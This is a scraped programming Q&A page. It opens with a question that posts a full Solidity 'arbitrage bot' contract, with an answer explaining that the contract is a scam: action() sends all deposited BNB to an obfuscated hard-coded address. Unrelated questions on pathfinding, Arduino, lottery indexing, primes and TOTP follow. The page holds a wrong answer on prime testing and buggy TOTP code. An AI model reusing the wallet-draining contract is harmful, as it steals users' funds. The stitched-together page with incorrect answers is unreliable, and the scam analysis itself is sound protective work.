I have been looking into creating some form of a crypto arbitrage trading bot, and recently came across the following video: https://www.youtube.com/watch?v=aQXbeSFZb_4&t=472s
The video shows an arbitrage bot that runs via a single function call on a smart contract deployed to the binance smart chain. I have looked through the code for the contract and I am unsure whether it would actually function, or whether it is a scam contract. If it does function, then I don't understand how it does.
It appears that the majority of the code is commented out, yet it says "code that will be automatically injected in blockstream when arbitrage is found" just above the commented out block. I have written a few smart contracts but this is slightly confusing.
pragma solidity ^0.5.16;
//pancakeswap and apeswap libaries to swap
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
// put a min of 0.25 BNB on your bot contract to cover fees so you don't run in to a fee exhaustion error
contract ArbitrageBot {
string public setLevel;
string public timeDateRagulator;
string public payout;
address private constant pancakeFactory = 0xBCfCcbde45cE874adCB698cC183deBcF17952812;
address private constant apeFactory = 0x0841BD0B734E4F5853f0dD8d7Ea041c241fb0Da6;
function() external payable {}
function SearchYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes(_string);
bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) {
result[i] = _stringBytes[i];
if(i==_pos)
result[i]=bytes(_letter)[0];
}
return string(result);
}
//code that will be automatically injected in blockstream when arbitrage is found
/*
function executeOperation(
address _reserve,
uint _amount,
uint _fee,
bytes calldata _params
) external {
require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");
address RESERVE_ADDRESS = _reserve;
uint256 deadline = now + 3000;
// get Exchange Address for the reserve asset
address addressForLoanAssetExchangeA = uniswapFactoryA.getExchange(RESERVE_ADDRESS);
address addressForLoanAssetExchangeB = uniswapFactoryB.getExchange(RESERVE_ADDRESS);
// Instantiate Exchange A
exchangeAforLoanAsset = IUniswapExchange(addressForLoanAssetExchangeA);
exchangeBforLoanAsset = IUniswapExchange(addressForLoanAssetExchangeB);
IERC20 loan = IERC20(RESERVE_ADDRESS);
IERC20 bat = IERC20(BAT_ADDRESS);
// Swap the reserve asset (e.g. DAI) for BAT
require(loan.approve(address(exchangeBforLoanAsset), _amount), "Could not approve reserve asset sell");
uint256 batPurchased = exchangeBforLoanAsset.tokenToTokenSwapInput(
_amount,
1,
1,
deadline,
BAT_ADDRESS
);
require(bat.approve(address(exchangeAforBAT), batPurchased), "Could not approve BAT asset sell");
// Swap BAT back to the reserve asset (e.g. DAIs)
uint256 reserveAssetPurchased = exchangeAforBAT.tokenToTokenSwapInput(
batPurchased,
1,
1,
deadline,
RESERVE_ADDRESS
);
uint amount = _amount;
uint totalDebt = amount.add(_fee);
require(reserveAssetPurchased > totalDebt, "There is no profit! Reverting!");
transferFundsBackToPoolInternal(RESERVE_ADDRESS, amount.add(_fee));
}
// Entry point for flashloan
function initateFlashLoan(
address assetToFlashLoan,
uint amountToLoan
) external {
bytes memory data = "";
// Get Aave lending pool
ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());
IERC20 loan = IERC20(assetToFlashLoan);
// Ask for a flashloan
lendingPool.flashLoan(
address(this),
assetToFlashLoan,
amountToLoan,
data
);
// If there is still a balance of the loan asset then this is profit to be returned to sender!
uint256 profit = loan.balanceOf(address(this));
require(loan.transfer(msg.sender, profit), "Could not transfer back the profit");
}
*/
function startLookingforYeild() public pure returns (address adr) {
string memory neutral_variable = "QGY37FB298a5eBcbe4E05685735d56Fbbd61777490";
SearchYeild(neutral_variable,0,'0');
SearchYeild(neutral_variable,2,'1');
SearchYeild(neutral_variable,1,'x');
address addr = parseAddr(neutral_variable);
return addr;
}
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes(_string);
bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) {
result[i] = _stringBytes[i];
if(i==_pos)
result[i]=bytes(_letter)[0];
}
return string(result);
}
function action() public payable {
// payback back loan send profit to your address
address(uint160(startLookingforYeild())).transfer(address(this).balance);
}
}
This is a scam contract
Do not use it.
When you invoke the action() function, it transfers all BNB (native token of the Binance Smart Chain network) to an address returned from the startLookingforYeild() function.
The actual target address is obfuscated but you can verify it by running the code in Remix IDE or any other emulator.
And once you transfer funds into the contract, there's no way for you to retrieve them back.
Related
Hi I'm having a few problems with my A* pathfinding algorithm. The algorithm does successfully execute, however in a debug environment it executes in about 10 seconds, in release it will still take 2-3 seconds. This speed is way too slow. I suspect this is either due to a bug in the code, or the fact it isn't well optimised.
The map that pathfinding is being used on is a 30*30 grid, with each square being 10 unites away from one another.
I have noticed when running the algorithm, that when the open and closed list are searched to see if a node already exists, the node already stored in one of the lists always has a lower cost, so there is no updating of nodes. Not sure if this is normal or not. Also, I am not sure if quicksort is a good sort to be using in this situation.
Here is the code:
The coords struture used as a node:
struct coords
{
int x;
int z;
coords* parent;
int cost;
int score;
};
The sort compare function:
bool decompare(coords* o1, coords* o2)
{
return (o1->score < o2->score);
}
The main pathfind loop:
while (!goalFound) //While goal has not been found
{
current = openList.front(); //Retrieve current state from the open list
openList.pop_front();
for (int count = 1; count < 5; count++)
{
if (!goalFound)
{
coords* possibleState = new (coords); //Allocate new possible state
found = false;
if (count == 1)
{
possibleState->x = current->x;
possibleState->z = current->z + 10; //North
}
else if (count == 2)
{
possibleState->x = current->x + 10; //East
possibleState->z = current->z;
}
else if (count == 3)
{
possibleState->x = current->x; //South
possibleState->z = current->z - 10;
}
else if (count == 4)
{
possibleState->x = current->x - 10; //West
possibleState->z = current->z;
}
if (possibleState->x >-1 && possibleState->x <291 && possibleState->z >-1 && possibleState->z < 291) //If possible state is in game boundary
{
possibleState->cost = current->cost + 10; //Add 10 to current state to get cost of new possible state
int a = (possibleState->x / 10) + (30 * (possibleState->z / 10)); //get index of map
if (map[a] != wallTest) //Test possible state is not inside a wall
{
p = openList.begin();
while (p != openList.end() && !found) //Search open list to see if possible state already exists
{
if (possibleState->x == (*p)->x && possibleState->z == (*p)->z) //Already exists
{
found = true;
if (!possibleState->cost >= (*p)->cost) //Test possible state has lower cost
{
(*p)->parent = current; //Update existing with attributes of possible state
a = abs((*p)->x - goalState->x);
b = abs((*p)->z - goalState->z);
(*p)->cost = possibleState->cost;
(*p)->score = (possibleState->cost) + ((a)+(b));
}
}
else
{
found = false; //Set not found
}
p++;
}
q = closedList.begin();
while (q != closedList.end())
{
if (possibleState->x == (*q)->x && possibleState->z == (*q)->z)
{
found = true;
int a = (*q)->cost;
if (possibleState->cost < a) //Test if on closed list
{
(*q)->parent = current;
a = abs((*q)->x - goalState->x);
b = abs((*q)->z - goalState->z);
(*q)->cost = possibleState->cost;
(*q)->score = (possibleState->cost) + ((a)+(b)); //If cost lower push onto open list
coords* newcoord;
newcoord->x = (*q)->x;
newcoord->z = (*q)->z;
newcoord->score = (*q)->score;
newcoord->cost = (*q)->cost;
openList.push_back(newcoord);
closedList.erase(q);
}
}
q++;
}
if (!found) //If not found on either list
{
possibleState->parent = current; //Push onto open list
a = abs((possibleState)->x / 10 - goalState->x / 10);
b = abs((possibleState)->z / 10 - goalState->z / 10);
(possibleState)->score = (possibleState->cost) + ((a)+(b));
openList.push_back(possibleState);
}
sort(openList.begin(), openList.end(), decompare); // Sort the open list by score
}
if (possibleState->x == goalState->x && possibleState->z == goalState->z) //if goal found
{
openList.push_back(possibleState);
node = possibleState;
goalFound = true;
while (node != 0)
{
wayPoints.push_back(*node);
node = node->parent;
wayCount = wayPoints.size() - 1;
}
}
}
}
}
closedList.push_back(current);
}
player->setWayPoints(wayPoints);
wayPoints.clear();
player->setMoved(2);
player->setPath(1);
openList.clear();
closedList.clear();
goalFound = false;
player->setNewPath(1);
return true;
}
else {
return false;
}
}
Are there any bugs that need to be sorted in this code that anyone can see? Or is it just important optimizations that need making? Thanks
I'm having this little problem with some easy code, basically what I'm doing is sending information via the serial port via a program I wrote in Java. The information is getting their for basic statements (IE, can turn on lights and stuff) but I'm having errors getting it to decode strings with number values send to it.
So for example, I'm sending strings that look like this
BS//:+000/+000/+000
and the decoding method I'm using looks like this.
After adding the string via this:
if (inputString.startsWith("BS//:")) //**fixed
{
inputInfoToBaseStepper(inputString);
baseStepperRunAction(baseStepperRotCount, baseStepperRotStepSize, baseStepperTime);
}
Sends it too...
void inputInfoToBaseStepper(String baseStepper)
{
baseStepperRotCount = baseStepper.substring(6,9).toInt();
baseStepperRotStepSize = baseStepper.substring(10,13).toInt();
baseStepperTime = baseStepper.substring(15,18).toInt();
}
Which should decode and run
void baseStepperRunAction (int rotations, int StepSize, int delayTime)
{
for (int rotations; rotations >=0; rotations--)
{
baseStepper.step(StepSize);
delay(delayTime);
}
}
Problem seems to be that it doesn't decode... ideas I'm sort of lost at this stage. :/
(total past of the code, I know the information is getting there, just not compiling like it should.)
#include <Stepper.h>
//#include <HardwareSerial.h>
// int intensity = 0; // led intensity this is needed just as example for this sketch
String inputString = ""; // a string to hold incoming data (this is general code you can reuse)
boolean stringComplete = false; // whether the string is complete (this is general code you can reuse)
int stepsPerRevolution = 64; //at 5.625 degrees a step
// initialize the stepper library on pins 8 through 11:
Stepper baseStepper(stepsPerRevolution, 2,3,4,5); // protocols start with //BS:
Stepper shoulderStepper(stepsPerRevolution, 6,7,8,9); // protocols start with //SS:
Stepper armStepper(stepsPerRevolution, 10,11,12,13); // protocols start with //AS:
//--------baseStepper--------//
int baseStepperRotCount = 0; //how many rotations in the for loop is needed
int baseStepperRotStepSize = 0; // how large should the steps be...
int baseStepperTime = 0; //delay time needed between each step (delay); so the stepper can do it's work.
//--------shoulderStepper--------//
int shoulderStepperRotCount =0;
void setup() {
// initialize serial: (this is general code you can reuse)
Serial.begin(115200);
}
void loop() {
// when a newline arrives:
if (stringComplete) {
//these are test if statements, they serve no purpose after the intial boot, but must be included to test the connectivity;
if (inputString.startsWith("alpha"))
{
boolean msgRecognized = true;
pinMode(13, OUTPUT);
digitalWrite(13, HIGH);
inputString = "";
stringComplete = false;
}
else if (inputString.startsWith("beta"))
{
boolean msgRecognized = true;
pinMode(13, OUTPUT);
digitalWrite(13, LOW);
inputString = "";
stringComplete = false;
}
//---------------------///
//these statements set the engines and prepare for running of the program.
if (inputString.startsWith("//BS:")) // "BS//:+000/+000/+000"
{
inputInfoToBaseStepper(inputString);
baseStepperRunAction(baseStepperRotCount, baseStepperRotStepSize, baseStepperTime);
}
else if (inputString.startsWith("//SS:"))
{
//inputInfoToShoulderStepper();
//outputConfirmed();
}
else if (inputString.startsWith("//AS:"))
{
//inputInfoToArmStepper();
// outputConfirmed();
}
if(inputString.startsWith("alp://")) { // OK is a message I know (this is general code you can reuse)
boolean msgRecognized = true;
if(inputString.substring(6,10) == "kprs") { // KeyPressed }
msgRecognized = false; // this sketch doesn't know other messages in this case command is ko (not ok)
// Prepare reply message if caller supply a message id (this is general code you can reuse)
int idPosition = inputString.indexOf("?id=");
if(idPosition != -1) {
String id = inputString.substring(idPosition + 4);
// print the reply
Serial.print("alp://rply/");
if(msgRecognized) { // this sketch doesn't know other messages in this case command is ko (not ok)
Serial.print("ok?id=");
} else {
Serial.print("ko?id=");
}
Serial.print(id);
Serial.write(255); // End of Message
Serial.flush();
}
}
// clear the string:
inputString = "";
stringComplete = false;
}
}
}
/*
Send listen messages
int index = 0;
for (index = 0; index < digitalPinListeningNum; index++) {
if(digitalPinListening[index] == true) {
int value = digitalRead(index);
if(value != digitalPinListenedValue[index]) {
digitalPinListenedValue[index] = value;
Serial.print("alp://dred/");
Serial.print(index);
Serial.print("/");
Serial.print(value);
Serial.write(255);
Serial.flush();
}
}
}
for (index = 0; index < analogPinListeningNum; index++) {
if(analogPinListening[index] == true) {
int value = analogRead(index);
if(value != analogPinListenedValue[index]) {
analogPinListenedValue[index] = value;
Serial.print("alp://ared/");
Serial.print(index);
Serial.print("/");
Serial.print(value);
Serial.write(255); // End of Message
Serial.flush();
}
}
}
} */
//this method decodes and stores inputs
void inputInfoToBaseStepper(String baseStepper)
{
baseStepperRotCount = baseStepper.substring(6,9).toInt(); // B S / / : + 0 0 0 / + 0 0 0 / + 0 0 0
baseStepperRotStepSize = baseStepper.substring(10,13).toInt();// 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8
baseStepperTime = baseStepper.substring(15,18).toInt();
}
//this method runs the base stepper off the decoded actions.
void baseStepperRunAction (int rotations, int StepSize, int delayTime)
{
for (int rotations; rotations >=0; rotations--)
{
baseStepper.step(StepSize);
delay(delayTime);
}
}
/*
SerialEvent occurs whenever a new data comes in the
hardware serial RX. This routine is run between each
time loop() runs, so using delay inside loop can delay
response. Multiple bytes of data may be available.
This is general code you can reuse.
*/
void serialEvent() {
while (Serial.available() && !stringComplete) {
// get the new byte:
char inChar = (char)Serial.read();
// add it to the inputString:
inputString += inChar;
// if the incoming character is a newline, set a flag
// so the main loop can do something about it:
if (inChar == '\n') {
stringComplete = true;
}
}
}
I need to find the rank/index of a lottery combination and be able to reverse the process (Find the lottery combination given its rank).
Consider a lottery game with 5 balls from 1 to 45 and 1 powerball from 1 to 20. Duplication is not allowed and the order does not matter. The number of combinations is:
(45 * 44 * 43 * 42 * 41 / 5!) * 20 = 24,435,180
The first combination (index 0) is:
1, 2, 3, 4, 5, 1
The last combination (index 24,435,179) is:
41, 42, 43, 44, 45, 20
How can I convert a combination into its index and vice versa without exhaustively enumerating all combinations?
I came across this MSDN article, which shows how to get the combination of a given index. However, I don't know how to get the index from a combination. I've tried:
Choose(c1,k) + Choose(c2,k-1) + Choose(c3,k-2) + Choose(c4,k-3) ...
Where ci is the number at position i in the ordered combination set and k is the size of the set. Since the index of a combination depends on the range of the elements, this does not work. Additionally, I'm not sure if it is going to work with elements of different sizes in the set (e.g. main pool's range is 1-45, powerball's range is 1-20)
I was able to figure it out. I created a new Combination class, based on the MSDN example, which can convert a combination to an index and vice versa. A separate index is retrieved for each pool of numbers. All the indices are then combined to represent a combination with elements of different sizes.
A Pool class was also created to represent the settings of a pool (Range of elements, size etc). The Pool class:
public class Pool {
public int From { get; set; }
public int To { get; set; }
public int Size { get; set; }
public int Numbers { get { return (To - From + 1); } }
public Pool(int From, int To, int Size) {
this.From = From;
this.To = To;
this.Size = Size ;
}
}
The Combination class:
class Combination {
public Pool[] Pools { get; set; }
public long[][] Data { get; set; } //First index represents pool index, second represents the numbers
public Combination(Pool[] Pools, long[][] Data) {
this.Pools = Pools;
this.Data = Data;
if (Data.GetLength(0) != Pools.Length) {
throw (new ArgumentException("Invalid data length"));
}
for (int i = 0; i < Data.GetLength(0); i++) {
if (Data[i].Length != Pools[i].Size) {
throw (new ArgumentException("Invalid data length"));
}
}
}
public static Combination FromIndex(long Index, Pool[] Pools) {
long[][] elements = new long[Pools.Length][];
long[] c = new long[Pools.Length - 1];
long cumulative = 1;
for (int i = 0; i < Pools.Length - 1; i++) {
c[i] = Combination.Choose(Pools[i].Numbers, Pools[i].Size);
checked {
cumulative *= c[i];
}
}
for (int i = Pools.Length - 1; i >= 1; i--) {
long ind = Index / cumulative;
Index -= ind * cumulative;
cumulative /= c[i - 1];
elements[i] = Combination.FromIndex(ind, Pools[i]);
}
elements[0] = Combination.FromIndex(Index, Pools[0]);
return (new Combination(Pools, elements));
}
public static long[] FromIndex(long Index, Pool Pool) {
long[] ans = new long[Pool.Size];
long a = (long)Pool.Numbers;
long b = (long)Pool.Size;
long x = GetDual((long)Pool.Numbers, (long)Pool.Size, Index);
for (int k = 0; k < Pool.Size; k++) {
ans[k] = LargestV(a, b, x);
x -= Choose(ans[k], b);
a = ans[k];
b--;
}
for (int k = 0; k < Pool.Size; k++) {
ans[k] = ((long)Pool.Numbers - 1) - ans[k];
}
//Transform to relative
for (int i = 0; i < ans.Length; i++) {
ans[i] += Pool.From;
}
return (ans);
}
private static long GetDual(long To, long Size, long m) {
return (Choose(To, Size) - 1) - m;
}
public static long Choose(long To, long Size) {
if (To < 0 || Size < 0)
throw new Exception("Invalid negative parameter in Choose()");
if (To < Size)
return 0; // special case
if (To == Size)
return 1;
long delta, iMax;
if (Size < To - Size) {
delta = To - Size;
iMax = Size;
} else {
delta = Size;
iMax = To - Size;
}
long ans = delta + 1;
for (long i = 2; i <= iMax; ++i) {
checked {
ans = (ans * (delta + i)) / i;
}
}
return ans;
}
private static long LargestV(long a, long b, long x) {
long v = a - 1;
while (Choose(v, b) > x)
--v;
return v;
}
public long ToIndex() {
long Index = 0;
long cumulative = 1;
for (int i = 0; i < Pools.Length; i++) {
checked {
Index += ToIndex(i) * cumulative;
cumulative *= Combination.Choose(Pools[i].Numbers, Pools[i].Size);
}
}
return (Index);
}
public long ToIndex(int PoolIndex) {
long ind = 0;
for (int i = 0; i < Pools[PoolIndex].Size; i++) {
long d = (Pools[PoolIndex].Numbers - 1) - (Data[PoolIndex][i] - Pools[PoolIndex].From);
ind += Choose(d, Pools[PoolIndex].Size - i);
}
ind = GetDual(Pools[PoolIndex].Numbers, Pools[PoolIndex].Size, ind);
return (ind);
}
public override string ToString() {
string s = "{ ";
for (int i = 0; i < Data.Length; ++i) {
for (int k = 0; k < Data[i].Length; k++) {
s += Data[i][k] + " ";
}
if (i != Data.Length - 1) {
s += "| ";
}
}
s += "}";
return s;
}
}
To see this in action:
//Create pools
Pool[] pools = new Pool[2];
pools[0] = new Pool(1, 45, 5);
pools[1] = new Pool(1, 20, 1);
//Create a combination
long[][] data = new long[][] { new long[] { 41, 42, 43, 44, 45 }, new long[] { 20 } };
Combination combination = new Combination(pools, data);
//Get index from combination:
long index = combination.ToIndex();
Console.WriteLine("Index: " + index);
//Get combination from index:
Combination combFromIndex = Combination.FromIndex(index, pools);
Console.WriteLine("Combination: " + combFromIndex);
Output:
Index: 24435179
Combination: { 41 42 43 44 45 | 20 }
Here is my code but the sum is not accumulating correctly that is a big number.
Do I need to use BigInteger ?
If so how because I have no clue how to use BigInteger to do the total.
namespace ConsolePrimeNumbers
{
public static class PrimeTool
{
public static bool IsPrime(int candidate)
{
// Test whether the parameter is a prime number.
if ((candidate & 1) == 0)
{
if (candidate == 2)
{
return true;
}
else
{
return false;
}
}
// Note:
// ... This version was changed to test the square.
// ... Original version tested against the square root.
// ... Also we exclude 1 at the very end.
for (int i = 3; (i * i) <= candidate; i += 2)
{
if ((candidate % i) == 0)
{
return false;
}
}
return candidate != 1;
}
}
class Program
{
static void Main(string[] args)
{
Console.WriteLine("--- Primes between 0 and 214.......");
long total = 0;
for (int i = 0; i < 2144; i++)
{
bool prime = PrimeTool.IsPrime(i);
if (prime)
{
Console.Write("Prime: ");
Console.WriteLine(i);
total = total + i;
}
}
Console.Write("Total of All Prime: ");
Console.WriteLine(total);
}
}
}
Your IsPrime function is wrong. The loop condition is (i * i) <= candidate. What about IsPrime(14)? The loop stops at i=3 (because at i=4, i*i = 16). You actually want it to get up to i=7 before you can terminate the loop. It's likely that you want (i*2) <= candidate. Otherwise it's returning true for a lot of numbers that aren't actually prime.
Is there public API for using the Google Authenticator (two factor authentication) on self-running (e.g. LAMP stack) web apps?
The project is open source. I have not used it. But it's using a documented algorithm (noted in the RFC listed on the open source project page), and the authenticator implementations support multiple accounts.
The actual process is straightforward. The one time code is, essentially, a pseudo random number generator. A random number generator is a formula that once given a seed, or starting number, continues to create a stream of random numbers. Given a seed, while the numbers may be random to each other, the sequence itself is deterministic. So, once you have your device and the server "in sync" then the random numbers that the device creates, each time you hit the "next number button", will be the same, random, numbers the server expects.
A secure one time password system is more sophisticated than a random number generator, but the concept is similar. There are also other details to help keep the device and server in sync.
So, there's no need for someone else to host the authentication, like, say OAuth. Instead you need to implement that algorithm that is compatible with the apps that Google provides for the mobile devices. That software is (should be) available on the open source project.
Depending on your sophistication, you should have all you need to implement the server side of this process give the OSS project and the RFC. I do not know if there is a specific implementation for your server software (PHP, Java, .NET, etc.)
But, specifically, you don't need an offsite service to handle this.
The algorithm is documented in RFC6238. Goes a bit like this:
your server gives the user a secret to install into Google Authenticator. Google do this as a QR code documented here.
Google Authenticator generates a 6 digit code by from a SHA1-HMAC of the Unix time and the secret (lots more detail on this in the RFC)
The server also knows the secret / unix time to verify the 6-digit code.
I've had a play implementing the algorithm in javascript here: http://blog.tinisles.com/2011/10/google-authenticator-one-time-password-algorithm-in-javascript/
There are a variety of libraries for PHP (The LAMP Stack)
PHP
https://code.google.com/p/ga4php/
http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/
You should be careful when implementing two-factor auth, you need to ensure your clocks on the server and client are synchronized, that there is protection in place against brute-force attacks on the token and that the initial seed used is suitably large.
You can use my solution, posted as the answer to my question (there is full Python code and explanation):
Google Authenticator implementation in Python
It is rather easy to implement it in PHP or Perl, I think. If you have any problems with this, please let me know.
I have also posted my code on GitHub as Python module.
I found this: https://github.com/PHPGangsta/GoogleAuthenticator. I tested it and works fine for me.
Not LAMP but if you use C# this is the code I use:
Code originally from:
https://github.com/kspearrin/Otp.NET
The Base32Encoding class is from this answer:
https://stackoverflow.com/a/7135008/3850405
Example program:
class Program
{
static void Main(string[] args)
{
var bytes = Base32Encoding.ToBytes("JBSWY3DPEHPK3PXP");
var totp = new Totp(bytes);
var result = totp.ComputeTotp();
var remainingTime = totp.RemainingSeconds();
}
}
Totp:
public class Totp
{
const long unixEpochTicks = 621355968000000000L;
const long ticksToSeconds = 10000000L;
private const int step = 30;
private const int totpSize = 6;
private byte[] key;
public Totp(byte[] secretKey)
{
key = secretKey;
}
public string ComputeTotp()
{
var window = CalculateTimeStepFromTimestamp(DateTime.UtcNow);
var data = GetBigEndianBytes(window);
var hmac = new HMACSHA1();
hmac.Key = key;
var hmacComputedHash = hmac.ComputeHash(data);
int offset = hmacComputedHash[hmacComputedHash.Length - 1] & 0x0F;
var otp = (hmacComputedHash[offset] & 0x7f) << 24
| (hmacComputedHash[offset + 1] & 0xff) << 16
| (hmacComputedHash[offset + 2] & 0xff) << 8
| (hmacComputedHash[offset + 3] & 0xff) % 1000000;
var result = Digits(otp, totpSize);
return result;
}
public int RemainingSeconds()
{
return step - (int)(((DateTime.UtcNow.Ticks - unixEpochTicks) / ticksToSeconds) % step);
}
private byte[] GetBigEndianBytes(long input)
{
// Since .net uses little endian numbers, we need to reverse the byte order to get big endian.
var data = BitConverter.GetBytes(input);
Array.Reverse(data);
return data;
}
private long CalculateTimeStepFromTimestamp(DateTime timestamp)
{
var unixTimestamp = (timestamp.Ticks - unixEpochTicks) / ticksToSeconds;
var window = unixTimestamp / (long)step;
return window;
}
private string Digits(long input, int digitCount)
{
var truncatedValue = ((int)input % (int)Math.Pow(10, digitCount));
return truncatedValue.ToString().PadLeft(digitCount, '0');
}
}
Base32Encoding:
public static class Base32Encoding
{
public static byte[] ToBytes(string input)
{
if (string.IsNullOrEmpty(input))
{
throw new ArgumentNullException("input");
}
input = input.TrimEnd('='); //remove padding characters
int byteCount = input.Length * 5 / 8; //this must be TRUNCATED
byte[] returnArray = new byte[byteCount];
byte curByte = 0, bitsRemaining = 8;
int mask = 0, arrayIndex = 0;
foreach (char c in input)
{
int cValue = CharToValue(c);
if (bitsRemaining > 5)
{
mask = cValue << (bitsRemaining - 5);
curByte = (byte)(curByte | mask);
bitsRemaining -= 5;
}
else
{
mask = cValue >> (5 - bitsRemaining);
curByte = (byte)(curByte | mask);
returnArray[arrayIndex++] = curByte;
curByte = (byte)(cValue << (3 + bitsRemaining));
bitsRemaining += 3;
}
}
//if we didn't end with a full byte
if (arrayIndex != byteCount)
{
returnArray[arrayIndex] = curByte;
}
return returnArray;
}
public static string ToString(byte[] input)
{
if (input == null || input.Length == 0)
{
throw new ArgumentNullException("input");
}
int charCount = (int)Math.Ceiling(input.Length / 5d) * 8;
char[] returnArray = new char[charCount];
byte nextChar = 0, bitsRemaining = 5;
int arrayIndex = 0;
foreach (byte b in input)
{
nextChar = (byte)(nextChar | (b >> (8 - bitsRemaining)));
returnArray[arrayIndex++] = ValueToChar(nextChar);
if (bitsRemaining < 4)
{
nextChar = (byte)((b >> (3 - bitsRemaining)) & 31);
returnArray[arrayIndex++] = ValueToChar(nextChar);
bitsRemaining += 5;
}
bitsRemaining -= 3;
nextChar = (byte)((b << bitsRemaining) & 31);
}
//if we didn't end with a full char
if (arrayIndex != charCount)
{
returnArray[arrayIndex++] = ValueToChar(nextChar);
while (arrayIndex != charCount) returnArray[arrayIndex++] = '='; //padding
}
return new string(returnArray);
}
private static int CharToValue(char c)
{
int value = (int)c;
//65-90 == uppercase letters
if (value < 91 && value > 64)
{
return value - 65;
}
//50-55 == numbers 2-7
if (value < 56 && value > 49)
{
return value - 24;
}
//97-122 == lowercase letters
if (value < 123 && value > 96)
{
return value - 97;
}
throw new ArgumentException("Character is not a Base32 character.", "c");
}
private static char ValueToChar(byte b)
{
if (b < 26)
{
return (char)(b + 65);
}
if (b < 32)
{
return (char)(b + 24);
}
throw new ArgumentException("Byte is not a value Base32 value.", "b");
}
}
Theres: https://www.gauthify.com that offers it as a service
Yes, need no network service, because Google Authenticator app won't communicate with the google server, it just keeps synced with the initital secret that your server generate(input into your phone from QR code) while the time pass.
For those using Laravel, this https://github.com/sitepoint-editors/google-laravel-2FA is a nice way to solve this problem.
For C# user, run this simple Console App to understand how to verify the one time token code. Note that we need to install library Otp.Net from Nuget package first.
static string secretKey = "JBSWY3DPEHPK3PXP"; //add this key to your Google Authenticator app
private static void Main(string[] args)
{
var bytes = Base32Encoding.ToBytes(secretKey);
var totp = new Totp(bytes);
while (true)
{
Console.Write("Enter your code from Google Authenticator app: ");
string userCode = Console.ReadLine();
//Generate one time token code
string tokenInApp = totp.ComputeTotp();
int remainingSeconds = totp.RemainingSeconds();
if (userCode.Equals(tokenInApp)
&& remainingSeconds > 0)
{
Console.WriteLine("Success!");
}
else
{
Console.WriteLine("Failed. Try again!");
}
}
}